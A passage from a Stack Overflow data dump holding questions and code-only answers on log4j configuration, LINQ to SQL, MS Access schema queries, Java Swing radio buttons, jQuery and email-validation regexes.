"text": "@echo off\nrem app specific log dir\nset \"APP_LOG_ROOTDIR=../app/app-log\"\nexit /b 0\n <appender name=\"fileAppender\" class=\"org.apache.log4j.RollingFileAppender\">\n <param name=\"Threshold\" value=\"DEBUG\" />\n <param name=\"MaxFileSize\" value=\"512KB\" />\n <param name=\"MaxBackupIndex\" value=\"10\" />\n <param name=\"File\" value=\"${APP_LOG_ROOTDIR}/app.log\"/>\n <layout class=\"org.apache.log4j.PatternLayout\">\n <param name=\"ConversionPattern\" value=\"%d %-5p %c{1} %m %n\" />\n </layout>\n</appender>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201188",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/22070/"
] |
201,191
|
<p>We are using Linq To SQL with our own data context logic that executes the one linq query across multiple databases. When we get the results back, we need the database for each of the rows. So...</p>
<p>I want to have a property on my class that will return the database name (SQL Server, so DB_NAME()). How can I do this in Linq To Sql?</p>
<hr>
<p>Dave, thanks for the answer, but we have hundreds of databases and don't want to have to add views if possible.</p>
|
[
{
"answer_id": 201489,
"author": "Einar",
"author_id": 2964,
"author_profile": "https://Stackoverflow.com/users/2964",
"pm_score": 6,
"selected": false,
"text": "<level value=\"${log_level}\" />\n java -Dlog_level=$LOG_LEVEL your_app\n"
},
{
"answer_id": 203941,
"author": "Martin Probst",
"author_id": 22227,
"author_profile": "https://Stackoverflow.com/users/22227",
"pm_score": 4,
"selected": false,
"text": "for (Map<String,String>.Entry entry : System.getenv().entrySet()) {\n System.setProperty(entry.getKey(), entry.getValue());\n}\n java -DMY_ENV=$MY_ENV -DMY_OTHER_ENV=$MY_OTHER_ENV -cp ... com.example.Main\n"
},
{
"answer_id": 21938229,
"author": "Daniel Estrada",
"author_id": 965342,
"author_profile": "https://Stackoverflow.com/users/965342",
"pm_score": 3,
"selected": false,
"text": "<level value=\"${env:LOG_LEVEL}\" />\n"
},
{
"answer_id": 29329899,
"author": "Shoham",
"author_id": 1297578,
"author_profile": "https://Stackoverflow.com/users/1297578",
"pm_score": 6,
"selected": true,
"text": " <Appenders>\n <File name=\"file\" fileName=\"${env:LOG_PATH}\">\n <PatternLayout>\n <Pattern>%d %p %c{1.} [%t] %m %ex%n</Pattern>\n </PatternLayout>\n </File>\n</Appenders>\n"
},
{
"answer_id": 35183593,
"author": "tkolleh",
"author_id": 1999025,
"author_profile": "https://Stackoverflow.com/users/1999025",
"pm_score": 0,
"selected": false,
"text": "@echo off\nrem app specific log dir\nset \"APP_LOG_ROOTDIR=../app/app-log\"\nexit /b 0\n <appender name=\"fileAppender\" class=\"org.apache.log4j.RollingFileAppender\">\n <param name=\"Threshold\" value=\"DEBUG\" />\n <param name=\"MaxFileSize\" value=\"512KB\" />\n <param name=\"MaxBackupIndex\" value=\"10\" />\n <param name=\"File\" value=\"${APP_LOG_ROOTDIR}/app.log\"/>\n <layout class=\"org.apache.log4j.PatternLayout\">\n <param name=\"ConversionPattern\" value=\"%d %-5p %c{1} %m %n\" />\n </layout>\n</appender>\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201191",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5189/"
] |
201,204
|
<p>I have a MDB running in WebSphere, when it tries to pull a message off an MQ Queue
the following exception is thrown:</p>
<p>com.ibm.mq.MQException: Message catalog not found </p>
<p>Any idea how to resolve this?</p>
|
[
{
"answer_id": 906429,
"author": "Aaron Digulla",
"author_id": 34088,
"author_profile": "https://Stackoverflow.com/users/34088",
"pm_score": 0,
"selected": false,
"text": " // PATCH New fields\n private final static IntHashMap completionCodes = new IntHashMap ();\n private final static IntHashMap reasonCodes = new IntHashMap ();\n static\n {\n addCodes (completionCodes, \"MQCC_\");\n addCodes (reasonCodes, \"MQRC_\");\n }\n\n /**\n * PATCH Create a map of names for the MQ error codes\n * \n * @param map\n * @param prefix\n */\n private static void addCodes(IntHashMap map, String prefix)\n {\n Field[] field = MQException.class.getFields();\n\n try\n {\n for (int i = 0; i < field.length; i++)\n {\n String name = field[i].getName();\n if (name.startsWith(prefix)) \n {\n name = name.substring(prefix.length());\n int value = field[i].getInt(null);\n map.put (value, name);\n }\n }\n }\n catch (IllegalArgumentException e) {\n throw new RuntimeException (e);\n }\n catch (IllegalAccessException e) {\n throw new RuntimeException (e);\n }\n }\n getMessage() // PATCH Complete rewrite\n public String getMessage()\n {\n if(ostrMessage == null) {\n String rc = (String)reasonCodes.get(reasonCode);\n if (rc == null)\n rc = \"ReasonCode \"+reasonCode;\n String cc = (String)completionCodes.get(completionCode);\n if (cc == null)\n cc = \"CompletionCode \"+completionCode;\n\n String message = \"MQJE001: \"+cc+\" \"+rc;\n\n if(msgId == 0)\n ostrMessage = message;\n else {\n String s = msgId+\" {0} {1}\";\n if (exceptionMessages != null) {\n s = exceptionMessages.getString(Integer.toString(msgId));\n }\n if(numInserts > 0) {\n Object as1[] = new String[numInserts];\n if(numInserts > 0) as1[0] = insert1;\n if(numInserts > 1) as1[1] = insert2;\n s = MessageFormat.format(s, as1);\n }\n\n ostrMessage = message+\"\\n\"+s;\n }\n\n if (underlyingException != null)\n ostrMessage = ostrMessage + \"\\n\" + underlyingException.getMessage();\n }\n\n return ostrMessage;\n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201204",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
201,235
|
<p>I need to import all ad groups in a few OUs into a table in SQL Server 2008. Once I have those I need to import all the members of those groups to a different table. I can use c# to do the work and pass the data to SQL server or do it directly in SQL server.</p>
<p>Suggestions on the best way to approach this?</p>
|
[
{
"answer_id": 207923,
"author": "Matthias Meid",
"author_id": 17713,
"author_profile": "https://Stackoverflow.com/users/17713",
"pm_score": 3,
"selected": true,
"text": "\"(&(objectCategory=Person)(memberOf=DN=GroupName, OU=Org, DC=domain,\nDC=com))\"\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201235",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/26792/"
] |
201,255
|
<p>Using C#, does anyone know how to get the MarshalAsAttribute's Sizeconst value in runtime ?</p>
<p>Eg. I would like to retrieve the value of 10.</p>
<pre><code>[StructLayout[LayoutKind.Sequential, Pack=1]
Class StructureToMarshalFrom
{
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
public byte[] _value1;
}
</code></pre>
|
[
{
"answer_id": 201266,
"author": "Jon Skeet",
"author_id": 22656,
"author_profile": "https://Stackoverflow.com/users/22656",
"pm_score": 3,
"selected": true,
"text": "FieldInfo field = typeof(StructureToMarshalFrom).GetField(\"_value1\");\nobject[] attributes = field.GetCustomAttributes(typeof(MarshalAsAttribute), false);\nMarshalAsAttribute marshal = (MarshalAsAttribute) attributes[0];\nint sizeConst = marshal.SizeConst;\n"
},
{
"answer_id": 201291,
"author": "Dave Markle",
"author_id": 24995,
"author_profile": "https://Stackoverflow.com/users/24995",
"pm_score": 1,
"selected": false,
"text": "var x = new StructureToMarshalFrom();\nvar fields = x.GetType().GetFields();\n\nvar att = (MarshalAsAttribute[])fields[0].GetCustomAttributes(typeof(MarshalAsAttribute), false);\nif (att.Length > 0) {\n Console.WriteLine(att[0].SizeConst);\n}\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201255",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/279238/"
] |
201,261
|
<p>Let's say that I create a Sub (not a function) whose mission in life is to take the active cell (i.e. Selection) and set an adjacent cell to some value. This works fine.</p>
<p>When you try to convert that Sub to a Function and try to evaluate it from from spreadsheet (i.e. setting it's formula to "=MyFunction()") Excel will bark at the fact that you are trying to affect the value of the non-active cell, and simply force the function to return #VALUE without touching the adjacent cell.</p>
<p>Is it possible to turn off this protective behavior? If not, what's a good way to get around it? I am looking for something a competent developer could accomplish over a 1-2 week period, if possible.</p>
<p>Regards,
Alan.</p>
<p>Note: I am using 2002, so I would favor a solution that would work for that version. Having that said, if future versions make this significantly easier, I'd like to know about it too.</p>
|
[
{
"answer_id": 201552,
"author": "GvS",
"author_id": 11492,
"author_profile": "https://Stackoverflow.com/users/11492",
"pm_score": 2,
"selected": false,
"text": "Public Function Bar(r As Range) As Integer\n If r.Value = 2 Then\n Bar = 0\n Else\n Bar = 128\n End If\nEnd Function\n"
},
{
"answer_id": 208592,
"author": "AlanR",
"author_id": 7311,
"author_profile": "https://Stackoverflow.com/users/7311",
"pm_score": 1,
"selected": false,
"text": "Option Explicit\n\nDeclare Function SetTimer Lib \"user32\" (ByVal HWnd As Long, _\n ByVal IDEvent As Long, ByVal mSec As Long, _\n ByVal CallFunc As Long) As Long\n\nDeclare Function KillTimer Lib \"user32\" (ByVal HWnd As Long, _\n ByVal timerId As Long) As Long\n\nPrivate timerId As Long\n\nPrivate wb As Workbook\nPrivate rangeName As String\nPrivate blnFinished As Boolean\n\nPublic Sub RunTimer()\n\n timerId = SetTimer(0, 0, 10, AddressOf Woohoo)\n\n\nEnd Sub\n\n\nPublic Sub Woohoo()\n\n Dim i As Integer\n\n' For i = 0 To ThisWorkbook.Names.Count - 1\n' ThisWorkbook.Names(i).Delete\n' Next\n\n ThisWorkbook.Worksheets(\"Sheet1\").Range(\"D8\").Value = \"Woohoo\"\n\n KillTimer 0, timerId\n\nEnd Sub\n"
},
{
"answer_id": 324248,
"author": "babbageclunk",
"author_id": 38851,
"author_profile": "https://Stackoverflow.com/users/38851",
"pm_score": 1,
"selected": false,
"text": "safeDivide ZeroDivisionError def safeDivide(numerator, cellRange):\n if not isinstance(cellRange, CellRange):\n raise ValueError('denominator must be a cell range')\n denominator = cellRange.Value\n if denominator == 0:\n cell = cellRange.TopLeft\n cell.BackColor = Color.Red\n cell.Offset(1, 0).Value = 'Tried to divide by zero'\n return 0\n return numerator / denominator\n"
},
{
"answer_id": 418508,
"author": "Ken Paul",
"author_id": 26671,
"author_profile": "https://Stackoverflow.com/users/26671",
"pm_score": 1,
"selected": false,
"text": "Sheet1 ThisWorkbook Module Sheet1 Dim busy As Boolean\nPrivate Sub Worksheet_Change(ByVal Target As Range)\n If busy Then Exit Sub\n busy = True\n If Target.Row <= 10 And Target.Column <= 10 Then\n With Target.Offset(0, 1)\n If IsNumeric(Target) Then\n .Value = Target * 4\n .Interior.Color = RGB(212, 212, 255)\n Else\n .Value = Empty\n .Interior.ColorIndex = xlColorIndexNone\n End If\n End With\n End If\n busy = False\nEnd Sub\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201261",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/7311/"
] |
201,282
|
<p>Microsoft SQL Server and MySQL have an INFORMATION_SCHEMA table that I can query. However it does not exist in an MS Access database.</p>
<p>Is there an equivalent I can use?</p>
|
[
{
"answer_id": 201297,
"author": "Ilya Kochetov",
"author_id": 15329,
"author_profile": "https://Stackoverflow.com/users/15329",
"pm_score": 1,
"selected": false,
"text": "SELECT \n Table_Name = Name, \nFROM \n MSysObjects \nWHERE \n (Left([Name],1)<>\"~\") \n AND (Left([Name],4) <> \"MSys\") \n AND ([Type] In (1, 4, 6)) \nORDER BY \n Name\n"
},
{
"answer_id": 202307,
"author": "Fionnuala",
"author_id": 2548,
"author_profile": "https://Stackoverflow.com/users/2548",
"pm_score": 4,
"selected": false,
"text": "Sub ListAccessTables2(strDBPath)\n Dim cnnDB As ADODB.Connection\n Dim rstList As ADODB.Recordset\n\n Set cnnDB = New ADODB.Connection\n\n ' Open the connection.\n With cnnDB\n .Provider = \"Microsoft.Jet.OLEDB.4.0\"\n .Open strDBPath\n End With\n\n ' Open the tables schema rowset.\n Set rstList = cnnDB.OpenSchema(adSchemaTables)\n\n ' Loop through the results and print the\n ' names and types in the Immediate pane.\n With rstList\n Do While Not .EOF\n If .Fields(\"TABLE_TYPE\") <> \"VIEW\" Then\n Debug.Print .Fields(\"TABLE_NAME\") & vbTab & _\n .Fields(\"TABLE_TYPE\")\n End If\n .MoveNext\n Loop\n End With\n cnnDB.Close\n Set cnnDB = Nothing\nEnd Sub\n"
},
{
"answer_id": 202534,
"author": "BIBD",
"author_id": 685,
"author_profile": "https://Stackoverflow.com/users/685",
"pm_score": 7,
"selected": true,
"text": "SELECT MSysObjects.Name AS table_name\nFROM MSysObjects\nWHERE (((Left([Name],1))<>\"~\") \n AND ((Left([Name],4))<>\"MSys\") \n AND ((MSysObjects.Type) In (1,4,6)))\norder by MSysObjects.Name \n SELECT MSysObjects.Name AS table_name\nFROM MSysObjects\nWHERE (((Left([Name],1))<>\"~\") \n AND ((Left([Name],4))<>\"MSys\") \n AND ((MSysObjects.Type) In (1,4,6))\n AND ((MSysObjects.Flags)=0))\norder by MSysObjects.Name \n"
},
{
"answer_id": 7725797,
"author": "Syed Daud",
"author_id": 989456,
"author_profile": "https://Stackoverflow.com/users/989456",
"pm_score": 0,
"selected": false,
"text": "SELECT \nName \nFROM \nMSysObjects \nWHERE \n(Left([Name],1)<>\"~\") \nAND (Left([Name],4) <> \"MSys\") \nAND ([Type] In (1, 4, 6)) \nORDER BY \nName\n"
},
{
"answer_id": 10132295,
"author": "Pete",
"author_id": 349043,
"author_profile": "https://Stackoverflow.com/users/349043",
"pm_score": 3,
"selected": false,
"text": "Dim db as Database\nDim td as TableDef\nSet db = CurrentDb()\nFor Each td In db.TableDefs\n YourSubTakingTableName(td.Name)\nNext td\n"
},
{
"answer_id": 43460090,
"author": "Jim",
"author_id": 7868125,
"author_profile": "https://Stackoverflow.com/users/7868125",
"pm_score": 0,
"selected": false,
"text": "CurrentDB.TableDefs\nCurrentDB.QueryDefs\nCurrentProject.AllForms\nCurrentProject.AllReports\nCurrentProject.AllMacros\n"
},
{
"answer_id": 68581054,
"author": "John",
"author_id": 2670571,
"author_profile": "https://Stackoverflow.com/users/2670571",
"pm_score": 0,
"selected": false,
"text": " String sqlString = \"\";\n sqlString += \"SELECT MSysObjects.Name AS table_name \\n\";\n sqlString += \"FROM sys.MSysObjects \\n\";\n sqlString += \"WHERE (((Left([Name],1))<>\\\"~\\\") \\n\";\n sqlString += \" AND ((Left([Name],4))<>\\\"MSys\\\") \\n\";\n sqlString += \" AND ((MSysObjects.Type) In (1,4,6)) \\n\";\n sqlString += \" AND ((MSysObjects.Flags)=0)) \\n\";\n sqlString += \"order by MSysObjects.Name \\n\";\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201282",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/5978/"
] |
201,287
|
<p>I have a swing application that includes radio buttons on a form. I have the <code>ButtonGroup</code>, however, looking at the available methods, I can't seem to get the name of the selected <code>JRadioButton</code>. Here's what I can tell so far:</p>
<ul>
<li><p>From ButtonGroup, I can perform a <code>getSelection()</code> to return the <code>ButtonModel</code>. From there, I can perform a <code>getActionCommand</code>, but that doesn't seem to always work. I tried different tests and got unpredictable results.</p></li>
<li><p>Also from <code>ButtonGroup</code>, I can get an Enumeration from <code>getElements()</code>. However, then I would have to loop through each button just to check and see if it is the one selected.</p></li>
</ul>
<p>Is there an easier way to find out which button has been selected? I'm programing this in Java 1.3.1 and Swing.</p>
|
[
{
"answer_id": 201313,
"author": "Draemon",
"author_id": 26334,
"author_profile": "https://Stackoverflow.com/users/26334",
"pm_score": 7,
"selected": true,
"text": "JRadioButtons isSelected() ButtonGroup"
},
{
"answer_id": 201429,
"author": "Chobicus",
"author_id": 1514822,
"author_profile": "https://Stackoverflow.com/users/1514822",
"pm_score": -1,
"selected": false,
"text": "jRadioOne = new javax.swing.JRadioButton();\njRadioTwo = new javax.swing.JRadioButton();\njRadioThree = new javax.swing.JRadioButton();\n buttonGroup1.add(jRadioOne);\njRadioOne.setText(\"One\");\njRadioOne.setActionCommand(ONE);\njRadioOne.addActionListener(radioButtonActionListener);\n ActionListener radioButtonActionListener = new java.awt.event.ActionListener() {\n public void actionPerformed(java.awt.event.ActionEvent evt) {\n radioButtonActionPerformed(evt);\n }\n };\n protected void radioButtonActionPerformed(ActionEvent evt) { \n System.out.println(evt.getActionCommand());\n }\n"
},
{
"answer_id": 201675,
"author": "Tom Hawtin - tackline",
"author_id": 4725,
"author_profile": "https://Stackoverflow.com/users/4725",
"pm_score": 3,
"selected": false,
"text": "isSelected Map<ButtonModel,JRadioButton>"
},
{
"answer_id": 13232816,
"author": "Rendicahya",
"author_id": 435615,
"author_profile": "https://Stackoverflow.com/users/435615",
"pm_score": 6,
"selected": false,
"text": "import java.util.Enumeration;\nimport javax.swing.AbstractButton;\nimport javax.swing.ButtonGroup;\n\npublic class GroupButtonUtils {\n\n public String getSelectedButtonText(ButtonGroup buttonGroup) {\n for (Enumeration<AbstractButton> buttons = buttonGroup.getElements(); buttons.hasMoreElements();) {\n AbstractButton button = buttons.nextElement();\n\n if (button.isSelected()) {\n return button.getText();\n }\n }\n\n return null;\n }\n}\n"
},
{
"answer_id": 14427296,
"author": "Akki",
"author_id": 1931296,
"author_profile": "https://Stackoverflow.com/users/1931296",
"pm_score": 2,
"selected": false,
"text": " JRadioButton firstRadioButton=new JRadioButton(\"Female\",true); \n JRadioButton secondRadioButton=new JRadioButton(\"Male\"); \n\n //Create a radio button group using ButtonGroup \n ButtonGroup btngroup=new ButtonGroup(); \n\n btngroup.add(firstRadioButton); \n btngroup.add(secondRadioButton); \n\n //Create a button with text ( What i select ) \n JButton button=new JButton(\"What i select\"); \n\n //Add action listener to created button \n button.addActionListener(this); \n\n //Get selected JRadioButton from ButtonGroup \n public void actionPerformed(ActionEvent event) \n { \n if(event.getSource()==button) \n { \n Enumeration<AbstractButton> allRadioButton=btngroup.getElements(); \n while(allRadioButton.hasMoreElements()) \n { \n JRadioButton temp=(JRadioButton)allRadioButton.nextElement(); \n if(temp.isSelected()) \n { \n JOptionPane.showMessageDialog(null,\"You select : \"+temp.getText()); \n } \n } \n }\n }\n"
},
{
"answer_id": 23655614,
"author": "Backabock",
"author_id": 3636778,
"author_profile": "https://Stackoverflow.com/users/3636778",
"pm_score": 1,
"selected": false,
"text": "import javax.swing.Action;\nimport javax.swing.ButtonGroup;\nimport javax.swing.Icon;\nimport javax.swing.JRadioButton;\nimport javax.swing.JToggleButton;\n\npublic class RadioButton extends JRadioButton {\n\n public class RadioButtonModel extends JToggleButton.ToggleButtonModel {\n public Object[] getSelectedObjects() {\n if ( isSelected() ) {\n return new Object[] { RadioButton.this };\n } else {\n return new Object[0];\n }\n }\n\n public RadioButton getButton() { return RadioButton.this; }\n }\n\n public RadioButton() { super(); setModel(new RadioButtonModel()); }\n public RadioButton(Action action) { super(action); setModel(new RadioButtonModel()); }\n public RadioButton(Icon icon) { super(icon); setModel(new RadioButtonModel()); }\n public RadioButton(String text) { super(text); setModel(new RadioButtonModel()); }\n public RadioButton(Icon icon, boolean selected) { super(icon, selected); setModel(new RadioButtonModel()); }\n public RadioButton(String text, boolean selected) { super(text, selected); setModel(new RadioButtonModel()); }\n public RadioButton(String text, Icon icon) { super(text, icon); setModel(new RadioButtonModel()); }\n public RadioButton(String text, Icon icon, boolean selected) { super(text, icon, selected); setModel(new RadioButtonModel()); }\n\n public static void main(String[] args) {\n RadioButton b1 = new RadioButton(\"A\");\n RadioButton b2 = new RadioButton(\"B\");\n ButtonGroup group = new ButtonGroup();\n group.add(b1);\n group.add(b2);\n b2.setSelected(true);\n RadioButtonModel model = (RadioButtonModel)group.getSelection();\n System.out.println(model.getButton().getText());\n }\n}\n"
},
{
"answer_id": 25245297,
"author": "CoderBrain",
"author_id": 3922490,
"author_profile": "https://Stackoverflow.com/users/3922490",
"pm_score": 0,
"selected": false,
"text": "isSelected()"
},
{
"answer_id": 25246583,
"author": "Majdi",
"author_id": 2227238,
"author_profile": "https://Stackoverflow.com/users/2227238",
"pm_score": 5,
"selected": false,
"text": "setActionCommand JRadioButton String entree = entreeGroup.getSelection().getActionCommand();\n java = new JRadioButton(\"Java\");\njava.setActionCommand(\"Java\");\nc = new JRadioButton(\"C/C++\");\nc.setActionCommand(\"c\");\nSystem.out.println(\"Selected Radio Button: \" + \n buttonGroup.getSelection().getActionCommand());\n"
},
{
"answer_id": 29241014,
"author": "Shanaya",
"author_id": 4709000,
"author_profile": "https://Stackoverflow.com/users/4709000",
"pm_score": 0,
"selected": false,
"text": "import java.awt.*;\nimport java.awt.event.*;\nimport javax.swing.*; \npublic class MyJRadioButton extends JFrame implements ActionListener\n{\n JRadioButton rb1,rb2; //components\n ButtonGroup bg;\n MyJRadioButton()\n{\n setLayout(new FlowLayout());\n setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);\n\n rb1=new JRadioButton(\"male\");\n rb2=new JRadioButton(\"female\");\n\n //add radio button to button group\n bg=new ButtonGroup();\n bg.add(rb1);\n bg.add(rb2);\n\n //add radio buttons to frame,not button group\n add(rb1);\n add(rb2);\n //add action listener to JRadioButton, not ButtonGroup\n rb1.addActionListener(this);\n rb2.addActionListener(this);\n pack();\n setVisible(true);\n}\npublic static void main(String[] args)\n{\n new MyJRadioButton(); //calling constructor\n}\n@Override\npublic void actionPerformed(ActionEvent e) \n{\n System.out.println(((JRadioButton) e.getSource()).getActionCommand());\n}\n"
},
{
"answer_id": 37802464,
"author": "Ale Rojas",
"author_id": 2070467,
"author_profile": "https://Stackoverflow.com/users/2070467",
"pm_score": 3,
"selected": false,
"text": "this.jButton1.setActionCommand(\"dog\");\nthis.jButton2.setActionCommand(\"cat\");\nthis.jButton3.setActionCommand(\"bird\");\n String selection = this.state_group.getSelection().getActionCommand();\n"
},
{
"answer_id": 60970351,
"author": "John McClane",
"author_id": 9772691,
"author_profile": "https://Stackoverflow.com/users/9772691",
"pm_score": 1,
"selected": false,
"text": "String Integer T Map<ButtonModel, T> ButtonGroup import javax.swing.*;\n\n@SuppressWarnings(\"serial\")\npublic class SmartButtonGroup<T> extends ButtonGroup {\n @Override\n public void add(AbstractButton b) {\n throw new UnsupportedOperationException(\"No object supplied\");\n }\n\n public void add(JRadioButton button, T attachedObject) {\n ExtendedModel<T> model = new ExtendedModel<>(attachedObject);\n model.setSelected(button.isSelected());\n button.setModel(model);\n super.add(button);\n }\n\n @SuppressWarnings(\"unchecked\")\n public T getSelectedObject() {\n ButtonModel selModel = getSelection();\n return selModel != null ? ((ExtendedModel<T>)selModel).obj : null;\n }\n\n public static class ExtendedModel<T> extends javax.swing.JToggleButton.ToggleButtonModel {\n public T obj;\n\n private ExtendedModel(T object) {\n obj = object;\n }\n }\n}\n ButtonGroup SmartButtonGroup<Integer> group = new SmartButtonGroup<>();\nJPanel panel = new JPanel();\n\nfor (int i = 1; i <= 5; i++) {\n JRadioButton button = new JRadioButton(\"Button #\" + i, i == 3); // select the 3rd button\n group.add(button, i);\n panel.add(button);\n}\n getSelectedObject() int selectedButtonIndex = group.getSelectedObject();\n import javax.swing.JRadioButton;\n\n@SuppressWarnings(\"serial\")\npublic class RadioButtonGroup extends SmartButtonGroup<JRadioButton> {\n public void add(JRadioButton button) {\n super.add(button, button);\n }\n\n @Override\n public void add(JRadioButton button, JRadioButton attachedObject) {\n throw new UnsupportedOperationException(\"Use the short form of addition instead\");\n }\n\n public JRadioButton getSelectedButton() {\n return getSelectedObject();\n }\n}\n"
},
{
"answer_id": 67537470,
"author": "Andy McRae",
"author_id": 2299775,
"author_profile": "https://Stackoverflow.com/users/2299775",
"pm_score": 0,
"selected": false,
"text": "My_JRadiobutton11.addActionListener(this); public void actionPerformed(ActionEvent arg0) {\n if(arg0.getSource() == My_JRadiobutton11){\n //my selection\n selection = \"Become a dolphin\";\n }else if(arg0.getSource() == My_JRadiobutton12){\n //my selection\n selection = \"Become a Unicorn\";\n } ..etc \n }\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201287",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/21987/"
] |
201,292
|
<p>By default if you connect to a remote SQL Server via an account that has access to say 1 of the 10 databases. You will still see in the Object Explorer all other databases, obviously due to permissions you cannot actually query them, but you can see their names.</p>
<p>I have heard that there is a method that disable this behavior, but I've been unable to find the answer, does anyone know how to do this? To give an example I have a SQL Server called MyDbServer, it has 4 databases, </p>
<ol>
<li>MyDatabase</li>
<li>YourDatabse</li>
<li>PrivateDatabase</li>
<li>ReallyPrivateDb</li>
</ol>
<p>If you connect via an account that only has permissions to "YourDatabse" you will still see a listing of all other databases, attempts to query will grant "select" permission denied or a similar error.</p>
<p>For security resons, we DO NOT want users to see any database other than the ones they are mapped to.</p>
|
[
{
"answer_id": 201334,
"author": "NotMe",
"author_id": 2424,
"author_profile": "https://Stackoverflow.com/users/2424",
"pm_score": 0,
"selected": false,
"text": "use master\ngo\ndeny VIEW any DATABASE to login1\ngo\n"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201292",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13279/"
] |
201,314
|
<p>In my javascript experience, I found that is a very common task "searching the nearest ancestor of an element with some condition (tag name, class,...)".
Can the parents() method of jquery do the job? The order of returned elements of parents() is predictable? Is top-to-bottom or bottom-to-top?
For the moment I use this utility function:</p>
<pre><code>function ancestor(elem, selector) {
var $elem = $( elem ).parent();
while( $elem.size() > 0 ) {
if( $elem.is( selector ) )
return $elem;
else
$elem = $elem.parent();
}
return null;
}
</code></pre>
<p>Can someone tell me if there is a clever way to do the job?</p>
|
[
{
"answer_id": 201330,
"author": "nickf",
"author_id": 9021,
"author_profile": "https://Stackoverflow.com/users/9021",
"pm_score": 5,
"selected": true,
"text": "closest() $('#foo').closest('.bar'); <div id=\"a\">\n <div id=\"b\">\n <p id=\"c\">\n <a id=\"d\"></a>\n </p>\n </div>\n</div>\n $('#d').parents(\"div:first\");"
},
{
"answer_id": 944765,
"author": "Borgar",
"author_id": 27388,
"author_profile": "https://Stackoverflow.com/users/27388",
"pm_score": 4,
"selected": false,
"text": "closest <div id=\"a\">\n <div id=\"b\">\n <p id=\"c\">\n <a id=\"d\"></a>\n </p>\n </div>\n</div>\n $('#d').closest(\"div\"); // returns [ div#b ]\n"
},
{
"answer_id": 1235262,
"author": "LaC",
"author_id": 151238,
"author_profile": "https://Stackoverflow.com/users/151238",
"pm_score": 2,
"selected": false,
"text": "closest parents <div id=\"0\">\n <div id=\"1\">test with <b>nested</b> divs.</div>\n <div id=\"2\">another div.</div>\n <div id=\"3\">yet <b>another</b> div.</div>\n </div>\n <b> $('b').parents('div') $('b').parents('div:first') $('b').closest(elem)"
}
] |
2008/10/14
|
[
"https://Stackoverflow.com/questions/201314",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/27789/"
] |
201,323
|
<p>Over the years I have slowly developed a <a href="http://en.wikipedia.org/wiki/Regular_expression" rel="noreferrer">regular expression</a> that validates <em>most</em> email addresses correctly, assuming they don't use an IP address as the server part.</p>
<p>I use it in several PHP programs, and it works most of the time. However, from time to time I get contacted by someone that is having trouble with a site that uses it, and I end up having to make some adjustment (most recently I realized that I wasn't allowing four-character <a href="https://en.wikipedia.org/wiki/Top-level_domain" rel="noreferrer">TLDs</a>).</p>
<p><em>What is the best regular expression you have or have seen for validating emails?</em></p>
<p>I've seen several solutions that use functions that use several shorter expressions, but I'd rather have one long complex expression in a simple function instead of several short expression in a more complex function.</p>
|
[
{
"answer_id": 201336,
"author": "Per Hornshøj-Schierbeck",
"author_id": 11619,
"author_profile": "https://Stackoverflow.com/users/11619",
"pm_score": 8,
"selected": false,
"text": "^\\w+([-+.']\\w+)*@\\w+([-.]\\w+)*\\.\\w+([-.]\\w+)*$\n"
},
{
"answer_id": 201340,
"author": "Draemon",
"author_id": 26334,
"author_profile": "https://Stackoverflow.com/users/26334",
"pm_score": 6,
"selected": false,
"text": "."
},
{
"answer_id": 201378,
"author": "bortzmeyer",
"author_id": 15625,
"author_profile": "https://Stackoverflow.com/users/15625",
"pm_score": 13,
"selected": true,
"text": "00 grep -Po 00 (?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*|\"(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21\\x23-\\x5b\\x5d-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])*\")@(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?|\\[(?:(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9]))\\.){3}(?:(2(5[0-5]|[0-4][0-9])|1[0-9][0-9]|[1-9]?[0-9])|[a-z0-9-]*[a-z0-9]:(?:[\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x21-\\x5a\\x53-\\x7f]|\\\\[\\x01-\\x09\\x0b\\x0c\\x0e-\\x7f])+)\\])\n president@whitehouse.gov"
},
{
"answer_id": 201447,
"author": "Andy Lester",
"author_id": 8454,
"author_profile": "https://Stackoverflow.com/users/8454",
"pm_score": 9,
"selected": false,
"text": "bob @ aol.com steve mary@aolcom /^\\S+@\\S+\\.\\S+$/\n"
},
{
"answer_id": 407102,
"author": "davcar",
"author_id": 5033,
"author_profile": "https://Stackoverflow.com/users/5033",
"pm_score": 7,
"selected": false,
"text": "System.Net.Mail MailAddress MailAddress protected void emailValidator_ServerValidate(object source, ServerValidateEventArgs args)\n{\n try\n {\n var a = new MailAddress(txtEmail.Text);\n }\n catch (Exception ex)\n {\n args.IsValid = false;\n emailValidator.ErrorMessage = \"email: \" + ex.Message;\n }\n}\n"
},
{
"answer_id": 719543,
"author": "Good Person",
"author_id": 87280,
"author_profile": "https://Stackoverflow.com/users/87280",
"pm_score": 9,
"selected": false,
